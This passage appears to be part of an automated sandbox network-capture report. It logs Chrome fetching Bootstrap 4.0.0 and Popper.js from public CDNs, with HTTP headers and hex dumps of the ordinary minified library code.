3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49707	104.18.10.207	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:16 UTC	621	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:16 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:16 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 11/06/2024 23:22:44 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: ccb91cab4761e398420eaeb744190eab CDN-Cache: HIT CF-Cache-Status: HIT Age: 1897216 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f700ee06e787ca0-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 10:55:16 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49705	104.17.25.14	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:16 UTC	627	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:16 UTC	954	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:16 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 970736 Expires: Sun, 14 Dec 2025 10:55:16 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VRlBViHClbcqQyAag6efv5NZkA7yhogqs7cY8vtaXjaWM%2FwkLadXaFgEPOrB2awGA2Uj9CVIITVirPhawcYOzFPRI79O3AEtNM7cW4nPgfFDO79rGYQjRbksq8rst38PKIMXu7hd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f700ee069f142d3-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 10:55:16 UTC	415	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 